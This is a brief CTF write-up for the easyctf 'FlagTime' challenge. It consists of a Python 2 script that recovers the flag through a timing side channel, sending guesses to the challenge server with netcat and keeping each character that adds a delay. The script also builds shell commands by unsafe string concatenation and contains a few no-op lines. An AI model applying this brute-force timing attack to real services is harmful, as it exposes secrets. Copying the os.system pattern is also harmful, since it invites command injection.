FlagTime easyctf writeup

"""

in order to solve this task you defently need a good stable internet connection

"""

#!/usr/bin/python
import os
import time
import datetime
alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!?-{}"
psec=0
final=""
count=0
while count < len(alphabet) :
	flag=final+alphabet[count]
	print flag
	start = datetime.datetime.now()
	os.system('echo '+flag+'| nc c1.easyctf.com 12482 \r\n')
	end = datetime.datetime.now()
	elapsed = end - start
	secds = elapsed.seconds
	micds = (elapsed.microseconds)*0.000001
	exact_time = secds+micds
	print exact_time
	diff = exact_time - psec
	print diff
	if diff < 1.0 :
		print "not this letter"
		count += 1
	elif diff > 1.0 and diff < 2.0 :
		final += alphabet[count]
		print "correct ! building the flag  --------------------------------------------------->: "+final
		psec = exact_time
		count = 0
	else :
		print "ayy ayyy ayyy ay !!! restarting ... "
		count-=0
	if count == 4 :
		flag = flag+"y"
	
print "done !! your flag is : " + final